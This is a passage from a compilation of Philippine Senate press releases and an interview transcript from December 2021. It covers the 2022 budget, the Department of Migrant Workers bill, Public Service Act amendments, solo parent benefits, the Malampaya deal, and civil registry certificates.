Escoda and Vicente Lim are still there in the 1,000 pesos. I think yung P500 din papalitan? I am not sure if that is approved but I've seen online na parang tarsier na ata ang ipapalit. Baka we can just do a special edition for one or two years and then we go back to the original design. Q: That is the pinaka-recent no with EDSA and the assassination of Ninoy, do you think they should be removed? SNBA: There is no need to change all the designs. Pwede siguro the other side but the side with the faces of our heroes, wag na nating palitan, wag na nating galawin. Yung kabilang side na lang. I think yung kabila, may Mayon volcano, may ganoong designs ang pera natin. But when it comes to faces of our heroes, as is na lang sya. I guess yun ang appeal ko kay Ben Diokno na 'as is' na lang. Q: We are moving in an election season, do you think this is an attempt to revise history? SNBA: I don't want to assume kasi ang reasoning nila is to highlight our endangered species. So let us accept that reasoning. Ang concern ko lang is from P1000, P500, tapos baka lahat na yan, yung P100, P50. Yung P20 bago na nga coins na sya. And let us go back to the cost. We are paying for the design that we do not need right now. Q: Going to the bicam, what is the final NTF-ELCAC budget coming from the senate? SNBA: We just pegged it at P10 billion and we will be discussing kung dadagdagan ba sya kasi there is an appeal to increase the budget of NTF-ELCAC but with the senate version there is only P10 billion. It started at P4 billion and eventually dinagdagan siya ni Senator Angara and raised it to P10 billion. Q: What is the RITM budget after you raised your concern? SNBA: What was slashed was given back to RITM. And I think even the others, yung budget for special risk allowance, we also gave a budget for contract tracing kasi if you remember Karen zero ang budget for contact tracing and when the budget was made by the executive, wala pang delta noon kaya di nila nakita ang need for contact tracing. Ngayong patapos na yung budget, we have naman another variant, yung omicron. So, there is a need to spend money for COVID-19 Q: Will this budget focus more on the recovery or are you still seeing missed priorities? SNBA: I cannot confirm nor deny kasi we will be discussing that later. Pero in the senate version, we try to be as equitable as possible to all the agencies. Kasi alam naman natin na ang needs ng PNP at military, there is always a need but it is just a matter of balancing things. Pero at the moment, there is a need to prioritize our COVID 119 response pero it does not mean na papabayaan natin ang ibang agencies in government. Q: When it comes to PGH, there was a P1.3 billion budget cut. What is the final figure? SNBA: I do not have the final figure but for me lahat yan tinaasan ng senate version. Kasi sa bicam para kaming nagtatawaran. But I am sure kung ano ang tinaasan ng senate lalo na sa PGH genome center, di na yan babawasan ng house of representatives. Baka nga taasan pa. Q: You also called to attention that there are no cancer funds... SNBA: There was a cancer fund but they lumped it together with other funds. Kaya lang there is a law that states na it should have its own separate item, so, kinarve out lang namin what was given sa lump sum and we created another line item. So, nagawa na yan sa senate version. Q: Do you remember how much that is senator? SNBA: I do not remember the exact amount at the moment but we will know that after the bicam. Q: For DepEd, I am curious what are the changes in terms of reprioritization? SNBA: One, we added another item for parang retrofitting kasi alam naman natin na as our kids go back to school, dapat COVID compliant din ang mga classrooms natin. Wala kasi yun sa budget ng DepEd. Now mayroon na yung item to make the classrooms COVID resilient and COVID free. Q: In the last budget, Sen Lacson expressed his concerns that there were ghost projects or projects that were put in certain provinces and areas, are you seeing that in this budget? SNBA: Part of the Build Build Build o yung infra natin we really need that kasi it provides employment alam naman natin na antaas ng unemployment rate natin. Kaya kami mas issue nga namin during this budget season is how come hindi ginaggastos yung pera. We gave you that money to spend. Ang daming items for release. For example, yung scholarship for would be doctors natin, sa halip na nagagamit na yun for enrollment, di sya agad nagamit. For example a road, a farm to market road, imbes na nagagamit ng mga farmers natin now, baka next year pa maimplement yung kalye na yun. Yun ang mas issue namin. They are asking for so much money from us pero hindi nila ginagastos. Sa amin, gastusin niyo yan kasi that is one way for us to revive our economy. Q: How do we improve for next year? SNBA: We shifted to cash-based budgeting right? Doon nakikita yung kahinaan ng cash-based budgeting. For example, yung late release. Can you imagine na if irerelease ang budget ng October, the chances are di na nila magagastos ang pera na iyan for the year. Unlike before, there are two years for them to implement that project. I think for next year's budget there is a provision that will allow that. During this budget din nadiscover ng senate na kaya nagkaroon ng mutation ang PITC at PSDBM kasi para di masayang ang pera, to make it appear na nagastos ng agency, ililipat lang nila sa PITC and then sa PITC, 3 years 5 years hindi naiimplement ang program kasi this is yung way nila to go around the cash-based budgeting. And hindi namin alam, buti na lang na nasilip ngayon na ang laki na pala nung perang napupunta sa PITC na hindi nila ginagastos kaagad. Q: One question on that, for the 2022 budget, is it still cash-based budgeting? SNBA: There's a... I don't know the exact wording but there's a provision there that may, parang meron silang one year to implement the program. Q: Number two, are there certain provisions or do you call it addendum wherein funding for a certain agency cannot move it to PITC and PS-DBM? SNBA: I think dun sa Senate version we included that but tingnan natin, kasi di ba, alam naman natin Karen sa bicam hindi, whatever's approved by the Senate can still change with the bicam. Q: Another question is last night the Department of Migrant Workers was passed in the Senate on third and final reading. Is it safe to say may pera na for the Department of Migrant Workers in the 2022 budget. SNBA: Actually Karen, kaya din yan na-approve, ika-carve lang out of DOLE, from all the other agencies and then lahat sila ilalagay dun sa DOFIL. And then there's a provision naman na may transition pa yan e. So, technically it's really not an additional money, yung kukunin lang from the other agencies like DOLE, yung Overseas... Q: I see, but then what are the features, Sen. Nancy, of the Department of Migrant Workers based on what was passed in the Senate so it won't double up the OWWA, for example, the POEA? Anong itsura nito Sen? SNBA: Actually, yung OWWA, yung POEA would still be an attached agency of DOFIL. So, kumbaga, lahat nung, kasi di ba yung existing setup ngayon they're part of DOLE, and alam naman natin yung DOLE meron ding local employment that it needs to take care of. So at least ngayon, lahat ng ahensya that is concerned with OFWs, they're, kumbaga, in one family. So, hopefully the coordination would be better and efficient. Q: Oo, so technically, OFW concerns, once this is passed by next year as we transition will not be handled by DOLE anymore. SNBA: Yes, there's, magkakaroon na tayo ng secretary that's realty focused on OFWs. Q: Oo, is there anything else that the Senate is prioritizing that you want to be passed before this administration ends? SNBA: As of last night, we passed the amendment dun sa Public Services. So, I don't know if meron pa kaming major legislation that needs to be approved. Q: When it comes to the budget, we talked about the NTF-ELCAC budget already, but you personally, (unintelligible) would you want to see intact when you hit the bicam? Each legislator has each his own pet or advocacies, right? What would you want to ensure that it stays when you hit the bicam? SNBA: Yung whatever COVID response was allocated by the Senate would still remain, di ba? And if that means not increasing the budget of NTF-ELCAC kailangan, di ba mas priority pa rin itong COVID response over... Q: ...Because ang hirap, if there's a lobby to increase the NTF-ELCAC, because it was at P28 billion, then, I mean (unintelligible) 26 percent of their projects actually felt through which was exposed in the Senate, so ang mahirap if they wanted more than P10 (billion) saan kukunin yun? SNBA: Yes, yun yung problema, and sana hindi ma-sacrifice yung nilagay namin for COVID response. And I'm hoping, I think yung mga kasamahan namin sa House of Representatives nakikita din naman nila yung need and necessity for our COVID response. Q: Another issue I'm curious, Congresswoman Stella Quimbo filed a resolution in the lower House, it's still a resolution, but asking for additional allowances for teachers as they pilot for face-to-face, and with over, I think, a million teachers, public and private, with an P80,000 medical assistance, it would hit something like P18 billion. I'm curious, are you seeing a possibility in the Senate for special risk allowance for teachers? SNBA: You mean to say parang idadagdag dun sa budget for 2022? Q: Either idagdag or... you're right, it should come from the budget... SNBA: I don't know, maybe during the... baka under this bicam pwede kasi siyang ilagay dun sa item, nandun lang siya, para if there's money we can put money. Q: Unprogrammed... SNBA: In fact yung sa vaccine nga, unprogrammed, yeah. In fact, yun nga yung nagiging issue kasi yung booster shots nilagay siya doon sa unprogrammed fund. Ibig sabihin nun, if there's no excess money, di tayo makakabili ng booster shots, di ba? So, baka pwede siyang ilagay doon sa unprogrammed fund, yung allowance for our teachers. Q: I'm curious, as you hit the bicam, is the P45 billion for booster shots still unprogrammed? SNBA: Yung sa Senate version I think we already added funds sa DOH. Kasi nga, di ba, when the budget was made, walang Delta. Hindi nila, akala nila two shots ok na. And then, tapos nagdagdag pa tayo ng age group. Di ba dati naman we were doing the computation for our vaccination program hindi kasama doon yung 17 below, and now nag-apply na si Pfizer for 5-11. We need to, kumbaga, already add that sa need natin for the vaccines. I'm happy, kasi di ba ang dami ngayong nagdodonate sa atin ng vaccines, so the need to allocate funds, hindi na rin siya ganun kalaki. Ang daming nagbibigay sa atin. Q: Okay, so my last few questions, are you seeing the 2022 budget as a responsive, rebound budget? How do you describe this particular budget? SNBA: I think yung budget na ito would still focus on, kumbaga, getting back on our feet. Which means we need timely COVID response. We need to put the budget on our timely COVID response, and what is that? Testing, tracing, and treating. And then, another component, is yung how to, kumbaga, boost our economy, how to jumpstart our economy. Kaya nga we also allocated funds for assistance to our MSMEs. Q: Magkano, do you remember, magkano yung assistance to MSMEs? I know the budget is very detailed, very difficult to go through each one, but do you have just a figure? ...Bayanihan 2, there was assistance to MSMEs. SNBA: Yeah, ano yan e under SBCorp. Wait, let me see magkano talaga siya. I don't have a copy e. Q: Oo, but the budget for MSMEs will be under DTI... SNBA: Yes, under the SB Corporation. Q: Oo, ito na lang huling tanong, meron bang budget for ayuda sa 2022 budget na nakasaksak in different agencies? SNBA: Di ba there's always a budget for ayuda under the DSWD. So meron pa din and Karen, you know, ang importante there's an item, kasi if there's an item, if there's an amount, we can always augment it. Q: Yes, yes. So there is an item. SNBA: Well, function ng DSWD yan to provide assistance. Q: Because I was wondering... SNBA: ...we can get from their fund. Q: Oo, parang ang tanong ko kasi, parang malabo nang magka-Bayanihan 3 for next year. SNBA: Yes, kasi di ba, we're also trying to avoid na magamit siya sa pulitika. E alam naman natin yung mga ganitong programa e kumbaga, highly susceptible to electioneering. Q: On that note, Sen. Nancy Binay, is there anything you want to add before we go, I know you do have a bicam soon, I wanna respect your time. SNBA: Thank you Karen and I guess I just want to greet everybody Merry Christmas and a Happy New Year. Let us all stay safe kasi nga we don't want another surge by January kaya ingat pa din po tayo, lalong-lalo na with this new variant. Q: Ok, just a personal question, I'm curious. I know when we last spoke, you said you haven't gone out of the house, you were of course taking care of yourself, you have small kids, you also have senior parents, have you actually seen your father in person? SNBA: Yes, actually Karen I've gone out and the good news, my whole family's been vaccinated, even my kids. So, little by little I'm starting to go out, kaso lang may fear, kasi yung first time that I really went out ate in a restaurant, dun yung napilitan kami ulit mag-quarantine kasi we got exposed kay Sec. Lorenzana. So parang napaisip ako it's not meant for me to go out yet, but you know, I can't, we can't, we need to live with the virus di ba? Pinag-uusapan nga, hindi na pandemic, endemic na. So, we just need to learn to live with it. Q: Ok, on that note, Sen. Nancy Binay thank you for joining me today and I wanna greet you an advanced Merry Christmas as well. SNBA: Thank you Karen, ingat. Press Release December 15, 2021 Dela Rosa lauds Senate approval of Dep't of Migrant Workers Act bill he authored and co-sponsored SENATOR Ronald "Bato" Dela Rosa has lauded the Senate approval of the bill that would create the Department of Migrant Workers. "Mr. President (Vicente Sotto III), I would not want to lose this opportunity to congratulate all our kababayans overseas on this historic victory. Sa wakas, malapit na silang magkakaroon ng sariling departamento na mangangalaga sa kanilang mga karapatan at interes," Dela Rosa said in a manifestation on Tuesday shortly after the measure was passed on third and final reading. Dela Rosa, one of the authors and co-sponsor of the Department of Migrant Workers Act measure, said the decision of every Filipino to go abroad to work has always been a lonely issue and a hard situation as well for every Filipino family. "Katulad ng karamihan sa pamilyang Pilipino, ang aming pamilya ay napilitan din na magkahiwalay dahil sa pangingibang-bansa. Tatlo sa aking mga kapatid ang nangibang-bansa upang makahanap ng magandang trabaho," he said. The Mindanaoan Senator said that according to an International Organization for Migration report, the Philippines is one of the top labor-sending countries in the world. "With the better opportunities offered abroad, our kababayans are not only enticed but are actually left with no choice but to leave their families to work and earn a living," Dela Rosa noted. He said the Senate approval of the measure "is a testament that our migrant workers, wherever they may be, are not forgotten." He recalled that no less than President Duterte himself had promised when he was running for the presidency in 2016 for a single department that would be home and shelter for Overseas Filipino Workers (OFWs). "I am privileged to be a part of this Congress that fulfills the government's promise of giving more consideration and care to our hardworking Filipinos abroad," he said. He also praised Senator Joel Villanueva, chairman of the Senate Committee on Labor, Employment, and Resource Development, for spearheading the bill and even making it a landmark achievement of the current 18th Congress. "Hindi lang siya Tesdaman kundi may bago siyang bansag ngayon na 'BMW', or brother ng migrant workers," Dela Rosa said. In his co-sponsorship speech last May, Dela Rosa had already expressed optimism that they would be able to pass the bill. "We believe that the creation of a single department solely devoted to promoting the welfare and instituting a higher standard of safety of all overseas Filipinos will indeed harmonize and integrate the functions of the various agencies and offices that will make the delivery of services more accessible and available," he had said. Press Release December 15, 2021 OFFICE OF SENATOR RONALD "BATO" DELA ROSA Manifestation for Third Reading Approval Senate Bill No. 2094 "AMENDING THE PUBLIC SERVICE ACT" Mr. President, I would like to commend our hardworking chairperson of the Committee on Public Services, Senator Grace Poe, for shepherding Senate Bill No. 2094 which seeks to amend an 85-year-old law, Commonwealth Act 146 or the "Public Service Act". Borrowing the words of no less than our Senate President, "the bill has finally seen the light of day", especially now with its passage on third reading. With the bill being constantly proposed during the previous Congresses, undeniably, the need to amend the very stringent provisions of the Public Service Act has long been recognized as these provisions have certainly restricted the inflow of foreign investments and development of different industries in the country. Habang ang ating bayan ay patuloy na bumabangon mula sa pandemyang dulot ng COVID-19, ang panukalang batas na ito ay magsisilbing tungkod natin para tuluyang makabangon ang ating ekonomiya mula sa pananalanta ng pandemya. Tulad ng naunang dalawang Bayanihan Law na nagsilbing paunang lunas o first aid natin mula sa pinsalang hatid ng COVID-19, narito ang isa pang panukalang batas na maaari nating ituring na "therapy" upang masiguro ang tuluyang paggaling ng ating ekonomiya. It is but my hope that upon the passage of this bill into a law, we can get the attention of other countries to invest in the Philippines and show them that, indeed, "It is more fun in the Philippines!". Thank you, Mr. President. Press Release December 15, 2021 Expanded Solo Parents Bill passed in the Senate as Bong Go highlights commitment to promote welfare of solo parents, children, and other vulnerable groups Senator Christopher "Bong" Go expressed his support and gratitude to fellow legislators following the passage on the third and final reading in the Senate of a bill which aims to provide additional benefits to at least 14 million Filipino solo parents. On Monday, December 13, senators voted 22-0-0 in favor of Senate Bill No. 1411, which would increase the benefits currently provided to solo parents under Republic Act 8972 or the "Solo Parents Welfare Act of 2000". Understanding the hardships faced by solo parents in raising their families, Go has always been firm in supporting the expansion of benefits under RA 8972. He earlier served as co-sponsor to fellow senators for SBN 1411 to provide monthly cash subsidies, automatic health insurance coverage and other additional benefits to Filipino solo parents. The said bill takes into consideration an earlier measure filed by Go and other similar measures by Senate President Vicente Sotto III and Senators Richard Gordon, Risa Hontiveros, Juan Miguel Zubiri, Ramon Revilla, Jr. and Imee Marcos. "Solo parents are both the breadwinners and caregivers of their families, and they should be acknowledged appropriately. As the law now stands, the privileges and benefits granted to them should be sufficiently increased in recognition and understanding of the complexity of their needs," said Go. "The enhancements that we have introduced to the Solo Parents' Welfare Act aim to provide redress for some 14 million solo parents. They will infuse more benefits and privileges to the solo parent which will ease the burden of single-handedly raising his or her children," he added. The measure introduces amendments to RA 8972 with the overarching objective of making it easier for single-parent households to access the critical relief they need. It specifically reduces the period before someone can be considered a solo parent due to abandonment from one year to six months. It also entitles elderly grandparents who have sole parental responsibility over minors would to the benefits given to solo parents. If signed into law, any solo parent whose income falls below the poverty threshold as set by the Philippine Statistics Authority and subject to the assessment of the local social welfare and development officer in the area shall be eligible for additional financial assistance reserved for the poor and indigent solo parents. Each indigent solo parent shall also be entitled to a cash subsidy amounting to P1,000 per month. Meanwhile, a comprehensive package of social protection services will be provided to each parent, regardless of their income bracket. The package will consist of counseling, legal assistance, medical care, livelihood development services and temporary shelter. Furthermore, single-parent households will be given preference in government low-cost housing projects and will be offered relaxed terms of payments. On the other hand, the Department of Education, Commission on Higher Education, and Technical Education and Skills Development Authority will be directed to provide scholarships or grants to qualified children of the solo parents in institutions of basic, higher and technical/vocational education and training. Finally, solo parents working in the government or private sector will be qualified to a seven-day parental leave with pay per year. "I am pushing for these amendments to the existing law to cater to as many solo parents as possible in order to help them build a stronger family despite their situation and support them as productive members of society," Go explained. "Responsibilidad natin ang siguraduhin na may sapat na proteksyon tayong ibinibigay sa mga solo parents na kabilang sa mga vulnerable sectors ng ating lipunan," he further stressed. There are currently an estimated 14 to 15 million solo parents in the Philippines, 95% of whom are women, according to a World Health Organization-funded study by the Department of Health and the University of the Philippines-National Institutes of Health. A separate study conducted by the Philippine Institute for Development Studies also revealed that eight in every 20 women are in vulnerable employment positions. In light of the adverse economic impacts of the COVID-19 pandemic, Go has also conducted various aid distribution initiatives to provide single-parent households the assistance they need to overcome the pandemic and other crisis situations. His team has assisted solo parents in Batuan and Duero, Bohol; Pandi, Bulacan; Tabogon, Cebu; Lupon, Davao Oriental; Burauen, Jaro, Javier, Kananga, Mayorga, Merida, Palompon, Pastrana, Santa Fe and Tacloban City, Leyte; Buluan, Maguindanao; Medina and Villanueva, Misamis Oriental; Llanera, Nueva Ecija; Santa Ana and San Fernando City, Pampanga; Puerto Galera, Oriental Mindoro; Culion, Busuanga and Puerto Princesa City, Palawan; Pintuyan, Southern Leyte; Olongapo, Zambales; General Santos City; and Zamboanga City, among others, in the past year. "Patuloy tayong magmalasakit sa isa't isa at magbayanihan upang masigurong walang maiiwan sa ating muling pag-ahon mula sa pandemya at anumang krisis na darating," he emphasized. Senate Bill No. 1411 is sponsored by Senator Risa Hontiveros and co-authored by Senators Sotto, Go, Gordon, Marcos, Pia Cayetano, Risa Hontiveros, Leila de Lima and Joel Villanueva. It is also co-sponsored by Senators Go, Gordon, Revilla and Zubiri. The bill will now go before the bicameral conference committee to reconcile the differences between the House and Senate versions. Press Release December 15, 2021 Gordon lauds Senate approval of OFW department bill Senator Richard J. Gordon today commended the Senate's approval on third reading the bill seeking to establish the Department of Migrant Workers (DMW) that would address all issues and concerns of Filipino workers abroad in one single agency. In casting his vote in favour of Senate Bill (SB) 2234, Gordon said the establishment of a Cabinet-level agency that will accommodate overseas Filipino workers ("OFWs") and their families has been long overdue. "Itong batas na ito (ay) ma-aaddress yung insecurity ng mga pamilya nitong overseas Filipino workers. Naka-address ang kanilang pag-repatriate ng pagpapadala ng pera sa mga pamilya nila na iniwanan nila para makipagsapalaran at magsakripisyo sa ibang bansa," he said. "Ang dapat lamang magkaroon ng mahalagang departamento para maasahan maasahan nila ng pamilya at ng ating bayan lalo na ng ating Overseas Worker," he added. Gordon has introduced two amendments to SB 2234. First, he empowered and required the DMW, in coordination with Department of Foreign Affairs (DFA), to conduct regular, timely, and relevant political and security risk assessment in a particular to the OFW-receiving country. It includes adequate evacuation plans that will be coordinated with OFWs, not only for immediate deployment but also in cases of emergencies requiring swift actions, such as their possible evacuation. Since the COVID-19 pandemic started in March 2020, the government has repatriated thousands of OFWs who were displaced from their work abroad. Official figures show that 785,448 OFWs have been repatriated since then. Gordon also introduced as his second amendment, an additional power to the DMW Secretary to terminate, suspend, or impose a total ban of foreign workers to a particular country. It allows the immediate action of the DMW Secretary to ensure protection of the best interest, welfare, and safety of migrant workers. With the passage of the bill, Gordon said he hopes that the country will be able to respond to the various concerns of OFWs through a more powerful and responsive agency. Nevertheless, he emphasized that national policy, moving forward, should aim to build the country so that Filipinos abroad can find greener pastures in the country. "I hope that we can do, it does not stop here we must do better by our OFWs, tulungan natin silang palagi. Talagang alisto tayo na kung may mga kakapusan ang mga batas na ito, dali-dali nating pupunuan at sana pagdating ng araw naiipon ng mga OFWs," he pointed out. "'Di lang nauubos sa pasalubong at magkaroon sila ng pagkakataon na sila'y nagtrabaho, ma-invest sa pamamagitan ng isang korporasyon na dapat magamit para sila ay entrepreneur rin. Work, save, invest, prosper. That's should be the end all of what we do," he added. As volunteer-chairman of the Philippine Red Cross (PRC) since 2004, Senator Gordon was able to repatriate hundreds of OFWs who sought help from the biggest humanitarian organization in the country. In 2009, around 70 OFWs from the Gaza strip were rescued by the PRC amidst rising violent tensions between Israel and Palestine. Gordon had also called on the Department of Labor and Employment to lift its annual quota for nurses who want to seek greener pastures abroad after many healthcare workers were barred from leaving the country. Press Release December 15, 2021 Hontiveros questions timing of 'sweetheart deal' in Malampaya shares; urges transparency in Udenna takeover Senator Risa Hontiveros on Wednesday called "questionably and unbelievably convenient" the takeover of the country's strategic energy assets by an Udenna Corporation subsidiary incorporated only weeks before the government announced the non-renewal of a service contract then covering the Malampaya Deepwater Gas to Power Project. During the Senate probe on Udenna's acquisition of a controlling stake over the Malampaya project, Hontiveros said that closer public scrutiny is needed over the many "questionable" aspects of the takeover by the firm led by Dennis Uy, a close friend and campaign backer of President Rodrigo Duterte. Citing existing documents, Hontiveros pointed out that Udenna Corporation subsidiary Udenna Corporation Malampaya (UC Malampaya) was incorporated only on September 1, 2019 or only 18 days before the Department of Energy (DOE) announced the non-renewal of Service Contract 38 then covering activities in the Malampaya. UC Malampaya, despite a non-existent background in energy exploration, later acquired the Malampaya shares of Chevron and Shell Philippines. "The timing is suspiciously convenient. Either they have employed very good fortune tellers, or Udenna was provided with advance notice, among other inordinate advantages. Is the country's strategic energy asset being sold in a last-minute sweetheart deal?" Hontiveros asked. Hontiveros said that in less than two months, UC Malampaya had "dubiously already entered into a Sales and Purchase Agreement to acquire Chevron's 45% participating interest for $565 MM, when it was not even clear that UC Malampaya has sufficient background in energy exploration." "Wala pang dalawang buwang naitatatag ang UC Malampaya ay nagkaroon na agad ito ng Sales and Purchase Agreement to acquire Chevron's shares. Mukhang alam ng Udenna ang shortcut sa pagtake over ng critical services at infrastructure ng bansa. Mula sa Dito Telecoms, hanggang sa Comelec logistics contract, ngayon dito sa Malampaya. Ito ba ang mukha ng cronyism sa taong 2021?," she added. She then pointed out that UC Malampaya is a duly registered company in Singapore and not in the Philippines, based on the documents from Singapores' Accounting and Corporate Regulatory Authority. "Did we just hand off our strategic energy assets to a foreign firm? Why? And how sure are we that there is no "mystery buyer", most likely a foreign power, waiting in the shadows to assume control over our energy sector?" Hontiveros said. Hontiveros urged the DOE to be more transparent about Udenna's takeover of the Malampaya project, in order to address growing doubts and concerns over the said deal. "Kung may anomalya at pagkakamali, dapat ay itama ito. Huwag tayong magbulag-bulagan. Tandaan natin, hindi lang enerhiya at ekonomiya natin ang nakasalalay dito, kundi pati ang ating kalayaan at soberanya," she concluded. Press Release December 15, 2021 Explanation of No Vote: Senator Risa Hontiveros to the Amendment to the Public Service Act I vote NO, and I would like to explain my vote. I support the objective of inviting more foreign investors who will infuse capital and know-how for the improvement of our public utilities. I accept the principle that Congress has the power to define what services are a public utility and which ones are not. In this respect I commend the sponsor and my colleagues for continuing to reserve our common carriers (our buses, jeepneys, taxis) and our seaports and airports mainly to Filipinos and to companies whose maximum foreign ownership is limited to 40 percent. I am saddened that many other critical services have been opened up to 100 percent foreign ownership by our bill when, as Senator Recto repeatedly proposed, we could have limited foreign participation say to 70 percent, which allows Filipinos and even the state to have direct knowledge of what goes on inside these critical facilities. Specifically I also vote NO, because the Telecomms industry is being opened up by our Senate Bill to 100 percent foreign ownership, and we are doing this at a time when we have tech savvy neighbors as well as rogue non-state elements that are directly targeting facilities in the region, including government and military installations and other very critical infrastructure. The country on the other hand does not not even have the rudiments of a cyber defense doctrine nor a cyber defense operations center that would allow us to engage in this new theater of international conflict. National Security Advisor Esperon admitted this to the Senate during a hearing exactly a year ago. By allowing 100 percent foreign ownership we are opening our phones, and all our internet-connected devices, appliances and critical public facilities to foreign state and non-state interests that may have malevolent designs on our national security. This is a fact and the government is aware of the existence of these clear and present threats. The face of conflict and warfare has been irreversibly altered Mr President and I fear that we have just brought our guards down. This is why I vote no. Press Release December 15, 2021 Lacson Pushes 3-Pronged Solution to Finally Stop Agricultural Smuggling, Corruption Full automation of Customs operations, throwing the book at erring personnel minus double standards, and leadership by example. This is the three-pronged solution needed to finally stop the persistent problem of agricultural smuggling as well as corruption in all agencies of government, Sen. Panfilo "Ping" M. Lacson said Wednesday. "First, it is time to fully automate our Customs operations just like most, if not all, of our trading partner countries. Everything, from the filing of application for accreditation all the way to payment of taxes and duties, should be done online. This will eliminate human intervention every step of the way. Tingnan ko na lang kung makapang-kurakot pa ang mga tiwaling kawani nila (Let's see if corrupt personnel can still engage in corruption)," Lacson said. Second, Lacson said, is to throw the book at erring personnel by applying only one standard in dealing with such scalawags. But the third and most important measure is to practice leadership by example - a trait Lacson practiced during his careers both in law enforcement and lawmaking. "This applies to all agencies of government, by the way," Lacson said of the three-pronged solution, which he will strictly implement should he win the presidential election in May 2022. On Tuesday, Lacson scored the persistence of agricultural smuggling, despite three laws having been passed to stop it. He also questioned why the Bureau of Customs, during the Senate's hearing on the matter on Tuesday, reported filing only 75 cases, in spite of reporting to have intercepted/raided hundreds of smuggling activities in their anti-smuggling operations. "Wala pang nakukulong (And up to now, no one has gone to jail for agricultural smuggling)," Lacson said in an interview on Radyo 5. "Importante na mag-automate tayo. May batas tayo, ang Customs Modernization and Tariff Act. Computerized tayo pero ayaw mag-automate (We have to automate our systems. We have the Customs Modernization and Tariff Act. But while our systems are computerized, we do not seem to want to undergo automation)," he added. On the other hand, Lacson said the right person should be appointed for the post. He cited the case of the Philippine Health Insurance Corp. (PhilHealth), which is a health insurance agency that should be headed by one with knowledge of finance matters - yet whose ex-officio chairman is a doctor. "Sa skills matching, may diperensya tayo kung sino ang ina-appoint. Hindi tugma ang position sa skills (We have a problem with skills matching. The appointees' skills don't match with the requirements of the job)," Lacson said. In the meantime, Lacson said the Bureau of Customs should use its intelligence funds to unmask the violators of the laws against agricultural smuggling. He also vowed no letup in investigating the problem. "Institutional and organizational ang problema (The problem is institutional and organizational)," he said. Press Release December 15, 2021 Lacson: Contact Tracing is Key in Dealing with Omicron Contact tracing is key to preventing the Omicron variant of Covid-19 from spreading. Sen. Panfilo "Ping" M. Lacson stressed this Wednesday as he said the government must account for all the people who have come into contact with the two cases confirmed recently by the Department of Health. "Contact tracing is key. The two have been here for quite a while. I hope all their co-passengers - and those whom they got in contact with before the detection of the Omicron variant - are all accounted for and closely monitored," Lacson said in a post on his Twitter account. Earlier Wednesday, the DOH confirmed two cases of Omicron in the Philippines - a Filipino who returned from Japan, and a Nigerian national who arrived from Nigeria. Both are now isolated in a facility managed by the Bureau of Quarantine, even as the DOH is verifying the health status of the passengers of these flights. Lacson said the government and the public cannot afford to have the Omicron variant spread in the Philippines, as it can have devastating effects on our health and economy. "It bears repeating that while the government must learn from past lapses to deal with the new variant, the public must also do their part by observing distancing and other health protocols," he said. Press Release December 15, 2021 Senate OKs amendments to Public Service Act The Senate has passed on third and final reading the bill that would open up the Philippines to more foreign investors. Senate Bill (SB) 2094 hurdled the upper chamber with 19 affirmative votes, three negative votes and zero abstention from senators during the hybrid plenary session Wednesday, Dec. 15. It seeks to amend the 85-year-old Commonwealth Act No. 146, known as the Public Service Act, and ease the restriction on foreign investments in public services. Sen. Grace Poe, chairperson of the Senate Committee on Public Services and sponsor of the bill, said the measure primarily intends to provide Filipino consumers with "more and better choices." She said she believes that the future generation of Filipinos will "truly benefit" in liberalizing the country's public services. SBN 2094, according to Poe, provides a clearer definition of the terms "public services" and "public utilities" in the existing law. In the 1987 Constitution, only corporations that are at least 60-percent owned by Filipinos shall be given the franchise, certificate and authorization to operate as a public utility. Under the bill, public utility refers to a "public service that operates, manages or controls for public use" any of the following: distribution or transmission of electricity; petroleum and petroleum products pipeline distribution systems, water pipelines distribution systems and wastewater pipeline systems; as well as airports, seaports, public utility vehicles and tollways or expressways. Those not classified as a public utility shall otherwise be considered as a public service, which will not be bound by the restriction on foreign ownership. Public services include telecommunications, air carriers, domestic shipping, railways and subways. During the period of interpellation on the proposed law, Poe explained that such public services are identified in the bill as "critical infrastructure" and will continue to be subject to regulation by relevant agencies under existing laws. She also assured that the measure contains safeguards to protect national security, which include prohibiting foreign state-owned enterprises from owning capital in any public service classified as critical infrastructure, and review of the foreign investments by the National Security Council. It also contains a reciprocity clause stating foreign nationals shall not be allowed to own more than 40 percent of capital in public services engaged in the operation and management of critical infrastructure, unless their country accords reciprocity to Philippine nationals. The bill also proposes raising the penalties for persons who commit prohibited acts or neglect, with fines not less than the current value of the original fine based on the consumer price index, or imprisonment of not lower than six years up to a maximum of 12 years, or both. "We need to be forward-looking and not be hampered by some of our mistrust and fears," she told her colleagues before the bill's second reading approval on Tuesday, Dec. 14. President Duterte previously certified the urgent approval of SBN 2094, with economic managers saying that it will help the Philippines recover from the impacts of the COVID-19 pandemic and improve its standing in mobilizing more foreign capital to the country. Press Release December 15, 2021 SPONSORSHIP SPEECH CR 334 on SB 2450 Permanent Validity of the Certificates of Live Birth, Death, and Marriage Act Senate President Pro Tempore Ralph G. Recto In one sentence, this is the gist of the bill: A birthday can be celebrated yearly. But birth certificates are forever. Same with marriages. Legally, you can have many - for as long as it is due to death of spouse or of love - but the marriage certificate for each should be valid for as long as you two live happily together, which is not necessarily ever after. No state can guarantee that wedded bliss can last a lifetime. But it can issue a marriage certificate which does not expire for as long as love has not. This bill removes the expiry date on birth, marriage and death certificates. If land titles of expensive real estate do not bear a "best before" marking, why should civil registry documents have one? Before I proceed, let me slay one persistent urban legend. That these government-issued documents have a prescribed legal shelf life. No, there is none. Pero bakit po ang dalas hingin? Most probably, entities, like the school one is applying admission to or the company where one would like to work, are the ones making the demand, which has no basis in law. These documents are like paper currencywhether frayed by age or fresh from the mint, they retain the same value and are valid for transaction. Besides, in the case of birth certificates, every Filipino whose birth has been registered with the Philippine Statistics Authority or PSA and its predecessor agencies has a permanent and unique Birth Reference Number or BReN assigned to him. This makes the demand for brand-new certificates a costly and unnecessary redundancy, as each has never been meant to be a single-use document. But to be sure, this rule is reiterated in this bill. Ano po ang mando dito? National government agencies, LGUs, GOCCs, private companies, private and public schools, and other non-government entities are barred from requiring a new copy of these certificates from individuals who transact business from them. After this bill becomes law, government shall enforce the permanent validity of the certificates of live birth, death, and marriage issued, signed, certified, or authenticated by the PSA. At hindi lang po ang mga nasabing dokumento mula sa PSA kasama rin ang inilabas ng predecessor nito, ang National Statistics Office o NSO, and the local civil registries, and the reports of birth, death, and marriage registered and issued by Philippine foreign service posts transmitted to the PSA. Ang exception lang po ay kung hindi na mabasa, o tulad ng pusong nasaktan, ay durog-durog na. If the security features are no longer readable, and authenticity is degraded, a new one is in order. Or if the civil registrar subjected you to a sex change by clerical mistake, so that you've become a he instead of a she, a gender reassignment caused by an errant stroke of a pen, then in that case you will need a 